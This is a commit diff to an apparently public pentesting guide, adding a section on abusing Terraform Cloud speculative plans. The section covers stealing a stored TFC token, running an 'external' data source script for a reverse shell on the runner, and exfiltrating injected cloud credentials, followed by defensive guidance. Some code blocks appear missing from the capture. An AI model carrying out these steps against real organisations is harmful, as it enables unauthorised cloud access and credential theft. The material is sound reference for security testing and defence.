You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Copy file name to clipboardExpand all lines: src/pentesting-ci-cd/terraform-security.md
+96-3Lines changed: 96 additions & 3 deletions
Display the source diff
Display the rich diff
Original file line number
Diff line number
Diff line change
@@ -217,6 +217,94 @@ data "external" "example" {
217
217
}
218
218
```
219
219
220
+
## Terraform Cloud speculative plan RCE and credential exfiltration
221
+
222
+
This scenario abuses Terraform Cloud (TFC) runners during speculative plans to pivot into the target cloud account.
223
+
224
+
- Preconditions:
225
+
- Steal a Terraform Cloud token from a developer machine. The CLI stores tokens in plaintext at `~/.terraform.d/credentials.tfrc.json`.
226
+
- The token must have access to the target organization/workspace and at least the `plan` permission. VCS-backed workspaces block `apply` from CLI, but still allow speculative plans.
227
+
228
+
- Discover workspace and VCS settings via the TFC API:
- Trigger code execution during a speculative plan using the external data source and the Terraform Cloud "cloud" block to target the VCS-backed workspace:
237
+
238
+
```hcl
239
+
terraform {
240
+
cloud {
241
+
organization = "acmecorp"
242
+
workspaces { name = "gcp-infra-prod" }
243
+
}
244
+
}
245
+
246
+
data "external" "exec" {
247
+
program = ["bash", "./rsync.sh"]
248
+
}
249
+
```
250
+
251
+
Example rsync.sh to obtain a reverse shell on the TFC runner:
Run a speculative plan to execute the program on the ephemeral runner:
259
+
260
+
```bash
261
+
terraform init
262
+
terraform plan
263
+
```
264
+
265
+
- Enumerate and exfiltrate injected cloud credentials from the runner. During runs, TFC injects provider credentials via files and environment variables:
With these creds, attackers can create/modify/destroy resources directly using native CLIs, sidestepping PR-based workflows that block `apply` via VCS.
299
+
300
+
- Defensive guidance:
301
+
- Apply least privilege to TFC users/teams and tokens. Audit memberships and avoid oversized owners.
302
+
- Restrict `plan` permission on sensitive VCS-backed workspaces where feasible.
303
+
- Enforce provider/data source allowlists with Sentinel policies to block `data "external"` or unknown providers. See HashiCorp guidance on provider filtering.
304
+
- Prefer OIDC/WIF over static cloud credentials; treat runners as sensitive. Monitor speculative plan runs and unexpected egress.
305
+
- Detect exfiltration of `tfc-*` credential artifacts and alert on suspicious `external` program usage during plans.
306
+
307
+
220
308
## Automatic Audit Tools
221
309
222
310
### [**Snyk Infrastructure as Code (IaC)**](https://snyk.io/product/infrastructure-as-code-security/)
0 commit comments